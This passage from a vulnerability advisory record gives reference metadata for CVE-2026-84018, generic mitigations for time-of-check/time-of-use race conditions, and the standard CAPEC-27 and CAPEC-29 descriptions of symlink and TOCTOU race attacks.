"modified": "2026-10-13T21:35:16Z",
"published": "2026-10-13T21:35:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84018"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84018"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.